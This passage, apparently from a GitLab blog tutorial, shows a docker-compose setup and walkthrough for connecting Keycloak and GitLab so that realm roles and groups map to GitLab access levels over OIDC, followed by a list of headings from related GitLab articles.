                        'authorization_endpoint' => 'https://localhost:8443/realms/GitLab/protocol/openid-connect/auth',
                        'token_endpoint' => 'https://keycloak:8443/realms/GitLab/protocol/openid-connect/token',
                        'userinfo_endpoint' => 'https://keycloak:8443/realms/GitLab/protocol/openid-connect/userinfo',
                        'jwks_uri' => 'https://keycloak:8443/realms/GitLab/protocol/openid-connect/certs'
                    }
                }
            }
        ]
    volumes:
      - gl-config:/etc/gitlab
      - gl-data:/var/opt/gitlab
      - ./certs/tls.crt:/etc/gitlab/trusted-certs/keycloak.crt
    ports:
      - '${GITLAB_EXTERNAL_PORT:-8081}:8081'
      - '${GITLAB_SSH_PORT:-8222}:22'
    shm_size: '256m'

  keycloak:
    image: quay.io/keycloak/keycloak:${KEYCLOAK_VERSION}
    container_name: keycloak-server
    restart: unless-stopped
    command: [
      "start-dev",
      "--import-realm",
      "--https-port=${KEYCLOAK_HTTPS_PORT}",
      "--https-key-store-file=/etc/x509/https/keystore.p12",
      "--https-key-store-password=password"
    ]
    volumes:
      - ./data:/opt/keycloak/data/import
      - ./certs:/etc/x509/https
    environment:
      KEYCLOAK_ADMIN: ${KEYCLOAK_ADMIN}
      KEYCLOAK_ADMIN_PASSWORD: ${KEYCLOAK_ADMIN_PASSWORD}
    ports:
      - "${KEYCLOAK_HTTPS_PORT}:8443"

volumes:
  gl-config:
  gl-data:

Run the docker-compose up -d command and your GitLab + Keycloak environment will be up in minutes.

docker-compose up -d

Keycloak realm configuration

Your Keycloak realm is automatically configured on startup as it's defined in the docker-compose file.

The realm configuration will include:

Pre-configured GitLab client
Default client secret

You can access Keycloak admin console at https://localhost:8443 with:

Username: admin
Password: from your .env file
To verify the setup:
- Log into Keycloak admin console
- Select the GitLab realm
- Check Clients > gitlab

Verify the client configuration matches your environment.

To showcase the automated RBAC mechanism, you will need to follow these steps:

Map realm roles to GitLab roles
Create group structure with mapping roles, matching the Group, Sub-group, Project pattern in GitLab.

Before provisioning your first users to the user groups, it’s recommended to log into your GitLab instance to retrieve your instance root password:

Access GitLab at http://localhost:8081.
Get the root password:

docker exec gitlab grep 'Password:' `/etc/gitlab/initial_root_password`

Putting it all together

To demonstrate the power of this integrated RBAC model, start by walking through a real-world user journey — from identity to access.

Begin in Keycloak by showcasing a user assigned to specific realm roles (e.g., developer, maintainer) and groups (e.g., /engineering/platform). These roles have been mapped to GitLab access levels via OIDC claims, while group affiliations align with GitLab’s structured hierarchy of root groups, sub-groups, and projects.

Upon login through GitLab’s SSO Keycloak endpoint, the user is automatically provisioned into the correct group and assigned the appropriate role — with no manual intervention.

Within GitLab, you can see that the user can interact with the assigned project: For example, a developer might push code and open a merge request, but not merge to protected branches — validating the least-privilege model.

Finally, you can showcase access across multiple teams or products that are managed centrally in Keycloak, yet enforced precisely in GitLab through group sync and permissions inheritance. This demo illustrates not just role assignment, but how GitLab and Keycloak together deliver real-time, automated access governance at scale — ready for secure, compliant, enterprise-grade software development.

Why GitLab?

GitLab’s comprehensive, intelligent DevSecOps platform is the ideal foundation for secure, scalable access management. With native OIDC support, granular role enforcement, SCIM-based user provisioning, and built-in audit logging, GitLab allows organizations to centralize control without compromising agility. Its flexible group hierarchy mirrors enterprise structure, making it easy to manage access across teams.

Integrating with identity providers like Keycloak automates onboarding, ensures least-privilege access, and creates a seamless identity-to-permission pipeline that supports regulatory and security goals. As a core component of GitLab’s security capabilities, RBAC ties directly into CI/CD, policy enforcement, and vulnerability management workflows.

Summary

RBAC is just the beginning. With GitLab and Keycloak, you’re not just securing access — you’re enabling structured, automated governance that scales. As you expand into policy enforcement, Secure SDLC, and DevSecOps automation, this foundation becomes a launchpad for sustainable, enterprise-grade software delivery.

Get started with RBAC in GitLab today with a free, 60-day trial of GitLab Ultimate. Sign up today!

GitLab

How to transform compliance observation management with GitLab

The GitLab observation lifecycle: From identification to resolution

The power of transparency in GitLab

Smart organization through labels and issue boards

Automation: Working smarter, not harder

Measuring success: Key metrics and reporting

Advanced strategies: Taking observation management further

Move from mere compliance to operational excellence

Software supply chain security guide: Why organizations struggle

Common misconceptions that leave organizations vulnerable

How AI is changing the game

AI-powered attacks: More sophisticated, more scalable

The AI development supply chain introduces new risks

Why most organizations still struggle

The true price of supply chain insecurity

What's wrong with current approaches

Massive scanning vs. effective protection

The collaboration breakdown

The path forward

Inside GitLab's Healthy Backlog Initiative

What is the Healthy Backlog Initiative?

How does this change benefit you?

Looking forward

Bridging the visibility gap in software supply chain security

Open source widens the attack surface area

Security Inventory: Visibility that scales

Dependency Path visualization: Clarity for effective remediation

Mitigate risk with developer-first security

Read more

GitLab Duo Agent Platform Public Beta: Next-gen AI orchestration and more

What is GitLab Duo Agent Platform?

GitLab's unique position as an orchestration platform

Our strategic evolution from AI features to agent orchestration

Agents that work out of the box

Flows orchestrate complex agent tasks

Why build agents and agent Flows in the GitLab Duo Agent Platform?

A community-driven future

Available today in the GitLab Duo Agent Platform in public beta

Coming soon to GitLab Duo Agent Platform

Get started now

How we use GitLab to grow open source communities

What we learned studying first-time contributors

We built personal onboarding with GitLab

We standardized responses with comment templates

We eliminated the 5-minute wait time

We automated follow-ups

We organized issue tracking with GLQL

We made the README findable

The results speak for themselves

We invested time savings into contributor recognition

Sharing what we learned

Start the conversation

Improving GitLab's deletion flow: What to expect in coming months

Why we're making these changes

What has changed already

What's coming next

Currently in development

Planned for future release

How these changes benefit you

Your feedback matters

3 best practices for building software in the era of LLMs

Never trust, always verify

Prompt for secure patterns

Scan everything, no exceptions

Secure your AI-generated code with GitLab

Accelerate learning with GitLab Duo Agent Platform

The challenge: Understanding gRPC communication flows

Collaborative refinement

Execution and results

Reviewing the output

Looking ahead

Learn more

CI/CD inputs: Secure and preferred method to pass parameters to a pipeline

The hidden costs of variable-based parameter passing

Understanding variable precedence

Variable precedence examples

CI/CD inputs fundamentals

Configuration flexibility and scope

Validation and type safety